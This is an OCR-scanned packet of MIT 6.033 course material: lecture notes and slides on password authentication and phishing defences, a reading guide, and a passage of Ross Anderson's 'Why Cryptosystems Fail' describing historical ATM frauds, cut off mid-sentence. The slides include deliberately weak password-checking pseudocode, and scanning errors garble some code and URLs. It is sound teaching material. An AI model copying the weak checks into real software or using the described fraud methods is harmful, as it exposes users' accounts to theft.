E.g., "Ben" and "22-May-2012".
or "Ben2" and "2-May-2012".
Concatenated string used to compute the hash is same in both cases!
Can impersonate somecone with a similar username.
Principle: be explicit and unambiguous when it comes to security.

E.g., use an invertible delimiter scheme for hashing several parts together.

Phishing attacks.

http://web.mit.edw/6.033/www/lec/122.1xt
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Adversary tricks user into visiting legitimate-looking web site (e.g., bank).
Asks for username/passwd.
Actually a different server operated by adversary.
E.g., bankOfamerica.com instead of bankofamerica.com.
Stores any username/passwd entered by victims.
Adversary can now impersonate victims on the real web site.

Key problem: once you send a password to the server, it can impersonate you.
We solved part of the problem by hashing the password database.
But we're still sending the password to the server to verify on login..

Technique 1: challenge-response scheme.
Server chooses a random value R, sends it to client.
Client computes H{(R + password) and sends to server.
Server checks if this matches its computation of hash with expected password.
If the server didn't already know password, still doesn't know..

Technique 2: use passwords to authenticate the server.

Flip the challenge-rasponse protocol, make the server prove it knows your pw.
Client chooses Q, sends to server, server computes H(Q + password), replies.
Only the authentic server would know your password!

Unfortunately, not many systems use this in practice.

In part because app developers just care about app authenticating user..
Complication: could be used with first scheme above to fool server!

First, try to log into the server: get the server's challenge R.

Then, decide you want to test the server: send it the same R.

Send server's reply back to it as response to the original challenge.
Principle: be explicit, again!

E.g., hash the intended recipient of response (e.g., client or server),

and have the recipient verify it.

Slight problem: simple challenge-response can't be used with hashed passwords.
Need the original password to compute hash together with random challenge.
If we store the hashed password, its hash now becomes the effective password..
There's a protocol that allows both.
Store a "hash" of password, challenge-response auth.
Look up "SRP" if building a real system (details too complicated for 6.033).

Technique 3: turn phishing attacks from offline into online attacks.
[ slide: sitekey example ]
What's the point?
If adversary doesn't have the right image, users will know the site is fake.
Adversary could talk to real site, fetch image for each user that logs in..
Why is it still useful, then?
Requires more effort on adversary's part to mount attack.
Even if adversary does this, bank can detect it.
Watch for many requests coming from a single computer.
That computer might be trying to impersonate site.
Turns an offline/passive attack into an online/active attack.
Key insight: don't need perfect security, small improvements can help.

Technique 4: make passwords specific to a site.
Instead of sending password, send H(servername + password).
Just like a basic password scheme, from the server's point of view.
Except impersonator on another server gets diff passwd.

Technique 5: one-time passwords.
If adversary intercepts password, can keep using it over and over.

Can implement one-time passwords: need to use a different password every time.

Design: construct a long chain of hashes.

Start with password and salt, as before.

Repeatedly apply hash, n times, to get n passwords.

Server stores x = H(H(H(H{...(H(salt+password)))))) = H*n(salt+password)
To authenticate, send token=H"{n-1}{salt+password).

Server verifies that x = H(token), then sets x <- token
User carries a printout of a few hashes, or uses smartphone to compute them.

Alternative design: include time in the hash (Google's 2-step verification).
Server and user's smartphone share some secret string K.
To authenticate, smartphone computes H(K || current time).
User sends hash value to server, server can check a few recent time values.

Technique 6: bind authentication and request authorization.

One way to look at problem: sending password authorizes any request.
.. even requests by adversary that intercepts our password.

A different design: use password to authenticate any request.
req = | username, "write XX to grades.txzt", H(password + "write ..") ]}
Server can check if this is a legitimate req from user using password.
Even if adversary intercepts request, cannot steal/misuse password.

In practice, don't want to use password, use some session token instead.
Could combine well with one-time passwords.

Bootstrapping.

How to initially set a password for an account?
I1f adversary can subvert this process, cannot rely on much else.
MIT: admissions office vets each student, hands out account codes.
Many web sites: anyone with an email can create a new account.

Changing password (e.g., after compromise).
Need some additional mechanism to differentiate user vs attacker.
MIT: walk over to accounts office, show ID, admin can reset password.

http://web.mit.edw/6.033/www/lec/122.txt

5/5/2012 2:42 PM



Many web sites: additional "security" questions used to reset password.

Password bootstrap / reset mechanisms are part of the security system.
These mechanisms can sometimes be weaker than the password mechanisms.
Sarah Palin's Yahoo account was compromised by guessing security Q's.
Personal information can be easy to find online.

[ slide: summary )

http://web.mit.edw/6.033/www/lec/122.1xt

5/5/2012 2:42 PM



L22: Authentication & passwords

Nickolai Zeldovich
6.033 Spring 2012

Password hashing

checkpw/(user, passwd):
acct = accounts[user]
h = SHA1(passwd)
if acct.pwhash # h:
return False
return True

Password-based authentication

checkpw(user, passwd):
acct = accounts[user]
for i in range(0, len(acct.pw)):
if acct.pw[i] # passwd(i]:
return False

return True

Password statistics
(leaked list of 32M pws, 2009)

Numbe
mm
123456

I23 5
I 23456789

r of Users with Number of Users with
e m e

4 Passw

loveyou 5162

rockyou

1234367
12342678
abci23

il = ‘,:.:,,. ¢‘

* Based on Tenex

- 5,000 unique passwords account for 20% of users (6.4 million)
- Similar statistics confirmed again in 2010 (Gawker break-in)

=

* "Consumer Passwords Worst Practices” report by Imperva



Password hashing with salt “Sitekey”

§ L2 vome Banking e e il e
&« ot ~=ni/ globall.onlinebank.com, A% &
checkpw(user, passwd):

acct = accounts[user]

h = SHA1(acct.pwsalt + passwd) Log o Your A

if acct.pwhash # h: i

return False R
return True :
Summary

+ Authentication using passwords

» Passwords can be easy to guess, reused, long-lived

 Better password protocols can improve security

» Hashing, salting, challenge-response, ...

* Principle: be explicit
» Avoid hashing ambiguous messages
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Read Why crypiosystems fail. You may wish to skim the abstract, introduction, and conclusion first, because they
will help you to focus on the parts of the paper that support the author's main claims. As always, you should read
critically and be on the lookout for additional gems, and for arguments that are missing or whose framing
de-emphasizes certain points.

This paper is about a philosophy of cryptosystem design, with a focus on their use in financial institutions, and
particularly in ATM (Automated Teller Machine, not Asynchronus Transfer Mode) networks. Although it may not
be immediately obvious, this paper is closely related to other papers we have read, such as the Therac-25 paper.
Think about these connections as you read.

Over half of the paper is devoted to examples of ways in which ATM networks could fail or have failed. This part of
the paper is very entertaining, but it can be difficult to keep the big picture in mind while reading about the
individual exploits and problems. Pay attention to the section headings (which you may wish to skim before diving
into the text) in order to keep your bearings. For each incident, before moving on, spend a few moments thinking
about the lessons that it teaches, and how the problem could have been avoided.

As you are reading the paper, think about the following questions:

e What is a cryptosystem? What elements (machine, communication, and human) does it encompass? How do
its components make the concerns of this paper similar to those of the Therac-25 paper, and dissimilar to
certain other papers we have read?

e What are the end-to-end requirements of a cryptosystem? (Be specific; don't just say "security", because then
that term itself requires a definition.) Can those requirements be achieved by composing modules with certain
characteristics? Where and how is the end-to-end check performed, if one is required?

* Suppose you have built a cryptosystem from a set of components plus a way of composing them. How could
you compute a quantitative measure for the security of the system or of some component? Isn't this what
standards organizations have to do when certifying a component? Are Anderson's suggestions applicable to
this issue?

e How can an organization test the security of a system? Isn't this an important part of the process that
Anderson omits?

Questions or comments regarding 6.0337 Send e-mail to the 6.033 staff at 6.033-staff@mit.edu or to the 6.033 TAs at 6.033-tas@mit.edu.

Top // 6.033 home //

4/28/2012 6:09 PM

http://web.mit.edw6.033/www/assignments/why-fail.shtml



Why Cryptosystems Fail

Ross Anderson
University Computer Laboratory
Pembroke Street, Cambridge CB2 3QG
Email: rjal4@cl.cam.ac.uk

Abstract

Designers of cryptographic systems are at a disadvantage to
most other engineers, in that information on how their sys-
tems fail is hard to get: their major users have traditionally
been government agencies, which are very secretive about
their mistakes.

In this article, we present the results of a survey of the
failure modes of retail banking systems, which constitute
the next largest application of cryptology. It turns out that
the threat model commonly used by cryptosystem designers
was wrong: most frauds were not caused by cryptanalysis or
other technical attacks, but by implementation errors and
management failures. This suggests that a paradigm shift
is overdue in computer security; we look at some of the al-
ternatives, and see some signs that this shift may be getting
under way.

1 Introduction

Cryptology, the science of code and cipher systems, is used
by governments, banks and other organisations to keep in-
formation secure. It is a complex subject, and its national
security overtones may invest it with a certain amount of
glamour, but we should never forget that information secu-
rity is at heart an engineering problem. The hardware and
software products which are designed to solve it should in
principle be judged in the same way as any other products:
by their cost and effectiveness.

However, the practice of cryptology differs from, say, that
of aeronautical engineering in a rather striking way: there is
almost no public feedback about how cryptographic systems
fail.

When an aircraft crashes, it is front page news. Teams

Permission to copy all or part of this material is given provided
that the copies are not made or distributed for direct commercial
advantage, the ACM copyright notice and the title of the pub-
lication and its date appear, and notice is given that copying is
by permission of the Association for Computing Machinery. To
copy otherwise, or to republish, requires a fee and/or specific
permission. 1st Conf.- Computer and Comm. Security '93 —
11/93 - VA, USA ©1993 ACM 0-89791-629-8 93/0011 ... $1.50

of investigators rush to the scene, and the subsequent en-
quiries are conducted by experts from organisations with a
wide range of interests - the carrier, the insurer, the man-
ufacturer, the airline pilots’ union, and the local aviation
authority. Their findings are examined by journalists and
politicians, discussed in pilots’ messes, and passed on by
flying instructors.

In short, the flying community has a strong and insti-
tutionalised learning mechanism. This is perhaps the main
reason why, despite the inherent hazards of flying in large
aircraft, which are maintained and piloted by fallible hu-
man beings, at hundreds of miles an hour through congested
airspace, in bad weather and at night, the risk of being killed
on an air journey is only about one in a million.

In the crypto community, on the other hand, there is
no such learning mechanism. The history of the subject
([K1], [W1]) shows the same mistakes being made over and
over again; in particular, poor management of codebooks
and cipher machine procedures enabled many communica-
tion networks to be broken. Kahn relates, for example [K1,
p 484], that Norway’s rapid fall in the second world war was
largely due to the fact that the British Royal Navy’s codes
had been solved by the German Beobachtungsdienst - us-
ing exactly the same techniques that the Royal Navy’s own
‘Room 40’ had used against Germany in the previous war.

Since world war two, a curtain of silence has descended
on government use of cryptography. This is not surpris-
ing, given not just the cold war, but also the reluctance of
bureaucrats (in whatever organisation) to admit their fail-
ures. But it does put the cryptosystem designer at a se-
vere disadvantage compared with engineers working in other
disciplines; the post-war years are precisely the period in
which modern cryptographic systems have been developed
and brought into use. It is as if accident reports were only
published for piston-engined aircraft, and the causes of all
jet aircraft crashes were kept a state secret.

2 Automatic Teller Machines

To discover out how modern cryptosystems are vulnerable
in practice, we have to study their use elsewhere. After
government, the next biggest application is in banking, and
evolved to protect automatic teller machines (ATMs) from
fraud.



In some countries (including the USA), the banks have
to carry the risks associated with new technology. Follow-
ing a legal precedent, in which a bank customer’s word that
she had not made a withdrawal was found to outweigh the
banks’ experts’ word that she must have done [JC], the US
Federal Reserve passed regulations which require banks to
refund all disputed transactions unless they can prove fraud
by the customer [E]. This has led to some minor abuse - mis-
representations by customers are estimated to cost the aver-
age US bank about $15,000 a year [W2] - but it has helped
promote the development of security technologies such as
cryptology and video.

In Britain, the regulators and courts have not yet been
so demanding, and despite a parliamentary commission of
enquiry which found that the PIN system was insecure [J1],
bankers simply deny that their systems are ever at fault.
Customers who complain about debits on their accounts for
which they were not responsible - so-called ‘phantom with-
drawals’ - are told that they are lying, or mistaken, or that
they must have been defrauded by their friends or relatives.

The most visible result in the UK has been a string of
court cases, both civil and criminal. The pattern which
emerges leads us to suspect that there may have been a
number of miscarriages of justice over the years.

A teenage girl in Ashton under Lyme was convicted
in 1985 of stealing £40 from her father. She pleaded
guilty on the advice of her lawyers that she had no
defence, and then disappeared; it later turned out that
there had been never been a theft, but merely a clerical
error by the bank [MBW]

e A Sheffield police sergeant was charged with theft in
November 1988 and suspended for almost a year after
a phantom withdrawal took place on a card he had
confiscated from a suspect. He was lucky in that his
colleagues tracked down the lady who had made the
transaction after the disputed one; her eyewitness tes-
timony cleared him

e Charges of theft against an elderly lady in Plymouth
were dropped after our enquiries showed that the bank’s
computer security systems were a shambles

e In East Anglia alone, we are currently advising lawyers
in two cases where people are awaiting trial for al-
leged thefts, and where the circumstances give reason
to believe that ‘phantom withdrawals’ were actually to
blame.

Finally, in 1992, a large class action got underway in the
High Court in London [MB], in which hundreds of plaintiffs
seek to recover damages from various banks and building
societies. We were retained by the plaintiffs to provide ex-
pert advice, and accordingly conducted some research dur-
ing 1992 into the actual and possible failure modes of au-
tomatic teller machine systems. This involved interviewing
former bank employees and criminals, analysing statements
from plaintiffs and other victims of ATM fraud, and search-
ing the literature. We were also able to draw on experi-
ence gained during the mid-80’s on designing cryptographic
equipment for the financial sector, and advising clients over-
seas on its use.

We shall now examine some of the ways in which ATM
systems have actually been defrauded. We will then com-
pare them with how the designers thought their products
might in theory be vulnerable, and see what lessons can be
drawn. Some material has had to be held back for legal
reasons, and in particular we do not identify all the banks
whose mistakes we discuss. This information should be pro-
vided by witnesses at trial, and its absence here should have
no effect on the points we wish to make.

3 How ATM Fraud Takes Place

We will start with some simple examples which indicate the
variety of frauds that can be carried out without any great
technical sophistication, and the bank operating procedures
which let them happen. For the time being, we may con-
sider that the magnetic strip on the customer’s card contains
only his account number, and that his personal identification
number (PIN) is derived by encrypting this account number
and taking four digits from the result. Thus the ATM must
be able to perform this encryption operation, or to check
the PIN in some other way (such as by an online enquiry).

3.1 Some simple examples

1. Many frauds are carried out with some inside knowl-
edge or access, and ATM fraud turns out to be no
exception. Banks in the English speaking world dis-
miss about one percent of their staff every year for
disciplinary reasons, and many of these sackings are
for petty thefts in which ATMs can easily be involved.
A bank with 50,000 staff, which issued cards and PINs
through the branches rather than by post, might ex-
pect about two incidents per business day of staff steal-
ing cards and PINs.

e In a recent case, a housewife from Hastings, Eng-
land, had money stolen from her account by a
bank clerk who issued an extra card for it. The
bank’s systems not only failed to prevent this, but
also had the feature that whenever a cardholder
got a statement from an ATM, the items on it
would not subsequently appear on the full state-
ments sent to the account address. This enabled
the clerk to see to it that she did not get any
statement showing the thefts he had made from
her account.

This was one of the reasons he managed to make
43 withdrawals of £200 each; the other was that
when she did at last complain, she was not be-
lieved. In fact she was subjected to harrassment
by the bank, and the thief was only discovered
because he suffered an attack of conscience and

owned up [RM].

Technical stafl also steal clients’ money, know-
ing that complaints will probably be ignored. At
one bank in Scotland, a maintenance engineer fit-
ted an ATM with a handheld computer, which
recorded customers’ PINs and account numbers.
He then made up counterfeit cards and looted
their accounts [C1] [C2]. Again, customers who
complained were stonewalled; and the bank was



publicly criticised for this by one of Scotland’s top
law officers.

e One bank issues tellers with cards with which
they can withdraw money from branch ATMs and
debit any customer account. This may be conve-
nient when the teller station cash runs out, but
could lead the staff into temptation.

e One bank had a well managed system, in which
the information systems, electronic banking and
internal audit departments cooperated to enforce
tight dual control over unissued cards and PINs in
the branches. This kept annual theft losses down,
until one day a protegé of the deputy managing
director sent a circular to all branches announcing
that to cut costs, a number of dual control pro-
cedures were being abolished, including that on
cards and PINs. This was done without consul-
tation, and without taking any steps to actually
save money by reducing staff. Losses increased
tenfold; but managers in the affected departments
were unwilling to risk their careers by making a
fuss. This seems to be a typical example of how
computer security breaks down in real organisa-
tions.

Most thefts by staff show up as phantom withdrawals
at ATMs in the victim’s neighbourhood. English banks
maintain that a computer security problem would re-
sult in a random distribution of transactions round
the country, and as most disputed withdrawals hap-
pen near the customer’s home or place of work, these
must be due to cardholder negligence [BB]. Thus the
pattern of complaints which arises from thefts by their
own staff only tends to reinforce the banks’ compla-
cency about their systems.

. Outsiders have also enjoyed some success at attacking
ATM systems.

e In a recent case at Winchester Crown Court in
England [RSH], two men were convicted of a sim-
ple but effective scam. They would stand in ATM
queues, observe customers’ PINs, pick up the dis-
carded ATM tickets, copy the account numbers
from the tickets to blank cards, and use these to
loot the customers’ accounts.

This trick had been used (and reported) several
years previously at a bank in New York. There
the culprit was an ATM technician, who had been
fired, and who managed to steal over $80,000 be-
fore the bank saturated the area with security
men and caught him in the act.

These attacks worked because the banks printed
the full account number on the ATM ticket, and
because there was no cryptographic redundancy
on the magnetic strip. One might have thought
that the New York lesson would have been learned
but no: in England, the bank which had been the
main victim in the Winchester case only stopped
printing the full account number in mid 1992, af-
ter the author replicated the fraud on television
to warn the public of the risk. Another bank con-
tinued printing it into 1993, and was pilloried by
journalists who managed to forge a card and use
it [L1].

e Another technical attack relies on the fact that

most ATM networks do not encrypt or authen-
ticate the authorisation response to the ATM.
This means that an attacker can record a ‘pay’
response from the bank to the machine, and then
keep on replaying it until the machine is empty.
This technique, known as ‘jackpotting’, is not lim-
ited to outsiders - it appears to have been used
in 1987 by a bank’s operations staff, who used
network control devices to jackpot ATMs where
accomplices were waiting.

Another bank’s systems had the feature that when
a telephone card was entered at an ATM, it be-
lieved that the previous card had been inserted
again. Crooks stood in line, observed customers’
PINs, and helped themselves. This shows how
even the most obscure programming error can
lead to serious problems.

Postal interception is reckoned to account for 30%
of all UK payment card losses [Al], but most
banks’ postal control procedures are dismal. For
example, in February 1992 the author asked for
an increased card limit: the bank sent not one,
but two, cards and PINs through the post. These
cards arrived only a few days after intruders had
got hold of our apartment block’s mail and torn
it up looking for valuables.

It turned out that this bank did not have the
systems to deliver a card by registered post, or
to send it to a branch for collection. Surely they
should have noticed that many of their Cambridge
customers live in colleges, student residences and
apartment buildings which have no secure postal
deliveries; and that most of the new students open
bank accounts at the start of the academic year
in October, when large numbers of cards and PIN
mailers are left lying around on staircases and in
pigeonholes.

Test transactions have been another source of trou-
ble. There was a feature on one make of ATM
which would output ten banknotes when a four-
teen digit sequence was entered at the keyboard.
One bank printed this sequence in its branch man-
ual, and three years later there was a sudden spate
of losses. These went on until all the banks using
the machine put in a software patch to disable the
transaction.

The fastest growing modus operandi is to use false
terminals to collect customer card and PIN data.
Attacks of this kind were first reported from the
USA in 1988; there, crooks built a vending ma-
chine which would accept any card and PIN, and
dispense a packet of cigarettes. They put their
invention in a shopping mall, and harvested PINs
and magnetic strip data by modem. A more re-
cent instance of this in Connecticut got substan-
tial press publicity [J2], and the trick has spread
to other countries too: in 1992, criminals set up
a market stall in High Wycombe, England, and
customers who wished to pay for goods by credit
card were asked to swipe the card and enter the
PIN at a terminal which was in fact hooked up to
a PC. At the time of writing, British banks had
still not warned their customers of this threat.



3. The point of using a four-digit PIN is that someone

who finds or steals another person’s ATM card has
a chance of only one in ten thousand of guessing the
PIN, and if only three attempts are allowed, then the
likelihood of a stolen card being misused should be less
than one in 3,000. However, some banks have managed
to reduce the diversity of a four-digit PIN to much less
than 10,000. For example:

e They may have a scheme which enables PINs to
be checked by offline ATMs and point-of-sale de-
vices without these devices having a full encryp-
tion capability. For example, customers of one
bank get a credit card PIN with digit one plus
digit four equal to digit two plus digit three, and
a debit card PIN with one plus three equals two
plus four. This means that crooks could use stolen
cards in offline devices by entering a PIN such as
4455.

e In early 1992, another bank sent its cardholders

a letter warning them of the dangers of writing
their PIN on their card, and suggested instead
that they conceal the PIN in the following way
and write it down on a distinctive piece of squared
cardboard, which was designed to be kept along-
side the ATM card in a wallet or purse.
Suppose your PIN is 2256. Choose a four-letter
word, say ‘blue’. Write these four letters down
in the second, second, fifth and sixth columns of
the card respectively:

1|2(3|4(5]|6|7|8|9|0

H|o

Now fill up the empty boxes with random letters.
Easy, isn’t it? Of course, there may be only about
two dozen four-letter words which can be made up
using a given grid of random letters, so a thief’s
chance of being able to use a stolen card has just
increased from 1 in 3,333 to 1 in 8.

e One small institution issued the same PIN to all
its customers, as a result of a simple programming
error. In yet another, a programmer arranged
things so that only three different PINs were is-
sued, with a view to forging cards by the thou-
sand. In neither case was the problem detected
until some considerable time had passed: as the
live PIN mailers were subjected to strict handling
precautions, no member of staff ever got hold of
more than his own personal account mailer.

4. Some banks do not derive the PIN from the account

number by encryption, but rather chose random PINs
(or let the customers choose them) and then encrypt
them for storage. Quite apart from the risk that cus-
tomers may choose PINs which are easy to guess, this
has a number of technical pitfalls.

e Some banks hold the encrypted PINs on a file.
This means that a programmer might observe
that the encrypted version of his own PIN is (say)

132AD6409BCA4331, and search the database for
all other accounts with the same PIN.

e One large UK bank even wrote the encrypted PIN

to the card strip. It took the criminal fraternity
fifteen years to figure out that you could change
the account number on your own card’s magnetic
strip to that of your target, and then use it with
your own PIN to loot his account.
In fact, the Winchester pair used this technique as
well, and one of them wrote a document about it
which appears to have circulated in the UK prison
system [S]; and there are currently two other men
awaiting trial for conspiring to defraud this bank
by forging cards.

For this reason, VISA recommends that banks should
combine the customer’s account number with the PIN
before encryption [VSM]. Not all of them do.

5. Despite all these horrors, Britain is by no means the
country worst affected by card forgery. That dubious
honour goes to Italy [L2], where losses amount to al-
most 0.5% of ATM turnover. Banks there are basically
suffering from two problems.

e The first is a plague of bogus ATMs - devices
which look like real ATMs, and may even be real
ATMs, but which are programmed to capture cus-
tomers’ card and PIN data. As we saw above, this
is nothing new and should have been expected.

e The second is that Italy’s ATMs are generally of-
fline. This means that anyone can open an ac-
count, get a card and PIN, make several dozen
copies of the card, and get accomplices to draw
cash from a number of different ATMs at the
same time. This is also nothing new; it was a
favourite modus operandi in Britain in the early
1980’s [W3].

3.2 More complex attacks

The frauds which we have described so far have all been
due to fairly simple errors of implementation and operation.
Security researchers have tended to consider such blunders
uninteresting, and have therefore concentrated on attacks
which exploit more subtle technical weaknesses. Banking
systems have a number of these weaknesses too.

Although high-tech attacks on banking systems are rare,
they are of interest from the public policy point of view, as
government initiatives such as the EC’s Information Tech-
nology Security Evaluation Criteria [ITSEC] aim to develop
a pool of evaluated products which have been certified free
of known technical loopholes.

The basic assumptions behind this program are that im-
plementation and operation will be essentially error-free,
and that attackers will possess the technical skills which are
available in a government signals security agency. It would
therefore seem to be more relevant to military than civilian
systems, although we will have more to say on this later.

In order to understand how these sophisticated attacks
might work, we must look at banking security systems in a
little more detail.



3.2.1 How ATM encryption works

Most ATMs operate using some variant of a system devel-
oped by IBM, which is documented in [MM). This uses a
secret key, called the ‘PIN key’, to derive the PIN from the
account number, by means of a published algorithm known
as the Data Encryption Standard, or DES. The result of this
operation is called the ‘natural PIN’; an offset can be added
to it in order to give the PIN which the customer must enter.
The offset has no real cryptographic function; it just enables
customers to choose their own PIN. Here is an example of
the process:

Account number: 8807012345691715
PIN key: FEFEFEFEFEFEFEFE
Result of DES: A2CE126C69AEC82D
Result decimalised: 0224126269042823
Natural PIN: 0224
Offset: 6565
Customer PIN: 6789

It is clear that the security of the system depends on
keeping the PIN key absolutely secret. The usual strategy
is to supply a ‘terminal key’ to ecach ATM in the form of
two printed components, which are carried to the branch
by two separate officials, input at the ATM keyboard, and
combined to form the key. The PIN key, encrypted under
this terminal key, is then sent to the ATM by the bank’s
central computer.

If the bank joins a network, so that customers of other
banks can use its ATMs, then the picture becomes more
complex still. ‘Foreign’ PINs must be encrypted at the ATM
using a ‘working’ key it shares with its own bank, where they
are decrypted and immediately re-encrypted using another
working key shared with the card issuing bank.

These working keys in turn have to be protected, and
the usual arrangement is that a bank will share a ‘zone key’
with other banks or with a network switch, and use this to
encrypt fresh working keys which are set up each morning.
It may also send a fresh working key every day to each of
its ATMs, by encrypting it under the ATM’s terminal key.

A much fuller description of banking security systems can
be found in books such as [DP] and [MM], and in equipment
manuals such as [VSM] and [NSM]. All we really need to
know is that a bank has a number of keys which it must keep
secret. The most important of these is of course the PIN
key, as anyone who gets hold of this can forge a card for any
customer’s account; but other keys (such as terminal keys,
zone keys and working keys) could also be used, together
with a wiretap, to find out customer PINs in large numbers.

Keeping keys secret is only part of the problem. They
must also be available for use at all times by authorised
processes. The PIN key is needed all the time to verify
transactions, as are the current working keys; the terminal
keys and zone keys are less critical, but are still used once a
day to set up new working keys.

The original IBM encryption products, such as PCF and
the 3848, did not solve the problem: they only did the en-

cryption step, and left the other manipulations to a main-
frame computer program, which each bank had to write
anew for itself. Thus the security depended on the skill
and integrity of each bank’s system development and main-
tenance staff.

The standard approach nowadays is to use a device called
a security module. This is basically a PC in a safe, and it
is programmed to manage all the bank’s keys and PINs in
such a way that the mainframe programmers only ever see
a key or PIN in encrypted form. Banks which belong to the
VISA and Mastercard ATM networks are supposed to use
security modules, in order to prevent any bank customer’s
PIN becoming known to a programmer working for another
bank (the Mastercard security requirements are quoted in
[MM]; for VISA see [VSM]).

3.2.2 Problems with encryption products

In practice, there are a number of problems with encryption
products, whether the old 3848s or the security modules now
recommended by banking organisations. No full list of these
problems, whether actual or potential, appears to have been
published anywhere, but they include at least the following
which have come to our notice:

1. Although VISA and Mastercard have about 10,000
member banks in the USA and at least 1,000 of these
do their own processing, enquiries to security module
salesmen reveal that only 300 of these processing cen-
tres had actually bought and installed these devices by
late 1990. The first problem is thus that the hardware
version of the product does not get bought at all, ei-
ther because it is felt to be too expensive, or because
it seems to be too difficult and time-consuming to in-
stall, or because it was not supplied by IBM (whose
own security module product, the 4753, only became
available in 1990). Where a bank has no security mod-
ules, the PIN encryption functions will typically be
performed in software, with a number of undesirable
consequences.

e The first, and obvious, problem with software PIN
encryption is that the PIN key can be found with-
out too much effort by system programmers. In
IBM’s product, PCF, the manual even tells how
to do this. Once armed with the PIN key, pro-
grammers can easily forge cards; and even if the
bank installs security modules later, the PIN key
is so useful for debugging the systems which sup-
port ATM networking that knowledge of it is likely
to persist among the programming staff for years
afterward.

e Programmers at one bank did not even go to the
trouble of setting up master keys for its encryp-
tion software. They just directed the key pointers
to an area of low memory which is always zero at
system startup. The effect of this was that the
live and test systems could use the same crypto-
graphic key dataset, and the bank’s technicians
found that they could work out customer PINs
on their test equipment. Some of them used to
charge the local underworld to calculate PINs on



stolen cards; when the bank’s security manager
found that this was going on, he was killed in
a road accident (of which the local police con-
veniently lost the records). The bank has not
bothered to send out new cards to its customers.

2. The ‘buy-IBM-or-else’ policy of many banks has back-

fired in more subtle ways. One bank had a policy
that only IBM 3178 terminals could be purchased, but
the VISA security modules they used could not talk
to these devices (they needed DEC VT 100s instead).
When the bank wished to establish a zone key with
VISA using their security module, they found they
had no terminal which would drive it. A contractor
obligingly lent them a laptop PC, together with soft-
ware which emulated a VT'100. With this the various
internal auditors, senior managers and other bank dig-
nitaries duly created the required zone keys and posted
them off to VISA.

However, none of them realised that most PC termi-
nal emulation software packages can be set to log all
the transactions passing through, and this is precisely
what the contractor did. He captured the clear zone
key as it was created, and later used it to decrypt the
bank’s PIN key. Fortunately for them (and VISA), he
did this only for fun and did not plunder their network
(or so he claims).

. Not all security products are equally good, and very
few banks have the expertise to tell the good ones from
the mediocre.

e The security module’s software may have trap-
doors left for the convenience of the vendor’s en-
gineers. We only found this out because one bank
had no proper ATM test environment; when it
decided to join a network, the vendor’s systems
engineer could not get the gateway working, and,
out of frustration, he used one of these tricks to
extract the PIN key from the system, in the hope
that this would help him find the problem. The
existence of such trapdoors makes it impossible
to devise effective control procedures over secu-
rity modules, and we have so far been lucky that
none of these engineers have tried to get into the
card forgery business (or been forced to cooperate
with organised crime).

e Some brands of security module make particular
attacks easier. Working keys may, for example, be
generated by encrypting a time-of-day clock and
thus have only 20 bits of diversity rather than the
expected 56. Thus, according to probability the-
ory, it is likely that once about 1,000 keys have
been generated, there will be two of them which
are the same. This makes possible a number of
subtle attacks in which the enemy manipulates
the bank’s data communications so that transac-
tions generated by one terminal seem to be com-
ing from another.

e A security module’s basic purpose is to prevent
programmers, and staff with access to the com-
puter room, from getting hold of the bank’s cryp-
tographic keys. However, the ‘secure’ enclosure
in which the module’s electronics is packaged can
often be penetrated by cutting or drilling. The
author has even helped a bank to do this, when
it lost the physical key for its security modules.

e A common make of security module implements
the tamper-protection by means of wires which
lead to the switches. It would be trivial for a
maintenance engineer to cut these, and then next
time he visited that bank he would be able to
extract clear keys.

e Security modules have their own master keys for
internal use, and these keys have to backed up
somewhere. The backup is often in an easily read-
able form, such as PROM chips, and these may
need to be read from time to time, such as when
transferring control over a set of zone and ter-
minal keys from one make of security module to
another. In such cases, the bank is competely at
the mercy of the experts carrying out the opera-
tion.

e ATM design is also at issue here. Some older
makes put the encryption in the wrong place - in
the controller rather than in the dispenser itself.
The controller was intended to sit next to the dis-
penser inside a branch, but many ATMs are no
longer anywhere near a bank building. One UK
university had a machine on campus which sent
clear PINs and account data down a phone line
to a controller in its mother branch, which is sev-
eral miles away in town. Anyone who borrowed
a datascope and used it on this line could have
forged cards by the thousand.

4. Even where one of the better products is purchased,

there are many ways in which a poor implementation
or sloppy operating procedures can leave the bank ex-

posed

e Most security modules return a whole range of
response codes to incoming transactions. A num-
ber of these, such as ‘key parity error’ [VSM] give
advance warning that a programmer is experi-
menting with a live module. However, few banks
bother to write the device driver software needed
to intercept and act on these warnings.

e We know of cases where a bank subcontracted all
or part of its ATM system to a ‘facilities man-
agement’ firm, and gave this firm its PIN key.
There have also been cases where PIN keys have
been shared between two or more banks. Even
if all bank staff could be trusted, outside firms
may not share the banks’ security culture: their
staff are not always vetted, are not tied down for
life with cheap mortgages, and are more likely to
have the combination of youth, low pay, curiosity
and recklessness which can lead to a novel fraud
being conceived and carried out.

e Key management is usually poor. We have ex-
perience of a maintenance engineer being given
both of the PROMs in which the security mod-
ule master keys are stored. Although dual control
procedures existed in theory, the staff had turned
over since the PROMs were last used, and so no-
one had any idea what to do. The engineer could
not only have forged cards; he could have walked
off with the PROMs and shut down all the bank’s
ATM operations.

e At branch level, too, key management is a prob-
lem. As we have seen, the theory is that two



bankers type in one key component each, and
these are combined to give a terminal master key;
the PIN key, encrypted under this terminal mas-
ter key, is then sent to the ATM during the first
service transaction after maintenance.

If the maintenance engineer can get hold of both
the key components, he can decrypt the PIN key
and forge cards. In practice, the branch managers
who have custody of the keys are quite happy
to give them to him, as they don’t like standing
around while the machine is serviced. Further-
more, entering a terminal key component means
using a keyboard, which many older managers
consider to be beneath their dignity.

We have accounts of keys being kept in open cor-
respondence files, rather than being locked up.
This applies not just to ATM keys, but also to
keys for interbank systems such as SWIFT, which
handles transactions worth billions. It might be
sensible to use initialisation keys, such as terminal
keys and zone keys, once only and then destroy
them.

Underlying many of these control failures is poor
design psychology. Bank branches (and computer
centres) have to cut corners to get the day's work
done, and only those control procedures whose
purpose is evident are likely to be strictly ob-
served. For example, sharing the branch safe keys
between the manager and the accountant is well
understood: it protects both of them from having
their families taken hostage. Cryptographic keys
are often not packaged in as user-friendly a way,
and are thus not likely to be managed as well.
Devices which actually look like keys (along the
lines of military crypto ignition keys) may be part
of the answer here.

We could write at great length about improving
operational procedures (this is not a threat!), but
if the object of the exercise is to prevent any cryp-
tographic key from falling into the hands of some-
one who is technically able to abuse it, then this
should be stated as an explicit objective in the
manuals and training courses. ‘Security by ob-
scurity’ often does more harm than good.

e Even where a ‘respectable’ algorithm is used, it
may be implemented with weak parameters. For
example, banks have implemented RSA with key
sizes between 100 and 400 bits, despite the fact
that they key needs to be at least 500 bits to give
any real margin of security.

Even with the right parameters, an algorithm can
easily be implemented the wrong way. We saw
above how writing the PIN to the card track is
